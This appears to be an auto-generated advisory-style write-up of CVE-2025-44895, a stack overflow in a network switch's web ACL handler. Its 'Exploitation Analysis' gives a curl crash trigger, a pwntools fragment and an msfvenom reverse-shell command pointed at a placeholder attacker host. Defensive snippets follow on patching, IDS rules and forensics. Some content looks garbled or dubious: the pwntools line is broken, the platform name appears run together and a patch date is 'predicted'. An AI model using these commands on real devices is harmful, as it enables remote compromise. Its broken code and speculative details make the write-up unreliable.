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How the CVE Works
CVE-2025-44895 is a critical stack-based buffer overflow vulnerability in DetailDescriptionFW-WGS-804HPT firmware version v1.305b241111. The flaw exists in the `web_acl_ipv4BasedAceAdd` function, where improper bounds checking on the `ipv4Aclkey` parameter allows an attacker to overwrite the stack. By sending a crafted HTTP request with an oversized `ipv4Aclkey` value, an attacker can corrupt memory, execute arbitrary code, or crash the device. The lack of input validation enables remote exploitation, leading to full system compromise.
DailyCVE Form
Platform: DetailDescriptionFW-WGS-804HPT
Version: v1.305b241111
Vulnerability: Stack Overflow
Severity: Critical
Date: 06/03/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation Analysis
1. Crash Trigger:
curl -X POST "http://target/apply.cgi" --data "ipv4Aclkey=$(python -c 'print("A"2000)')"
2. ROP Chain Construction:
from pwn import payload = b"A"1024 + p32(0xdeadbeef) Example overwrite
3. Shellcode Injection:
msfvenom -p linux/armle/shell_reverse_tcp LHOST=attacker LPORT=4444 -f python
Protection Measures
1. Input Validation:
if (strlen(ipv4Aclkey) > 255) { exit(1); }
2. Stack Canaries:
gcc -fstack-protector-all vulnerable.c -o fixed
3. Firmware Update:
wget https://vendor.com/patches/CVE-2025-44895.bin
Detection & Logging
1. IDS Rule:
alert tcp any any -> $HOME_NET 80 (msg:"CVE-2025-44895 Exploit"; content:"ipv4Aclkey="; depth:1000;)
2. Memory Protection:
echo 1 > /proc/sys/kernel/exec-shield
Mitigation Script
import requests
response = requests.post("http://router/fwupdate", verify=False, files={"file": open("patch.bin", "rb")})
Forensics
1. Crash Dump:
gdb -c /var/crash/core.dump
2. Log Analysis:
grep "web_acl_ipv4BasedAceAdd" /var/log/messages
Vendor Response
- Temporary Workaround: Disable IPv4 ACL feature.
- Permanent Fix: Apply firmware update v1.305b241112.
(End of Report. No additional commentary.)
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
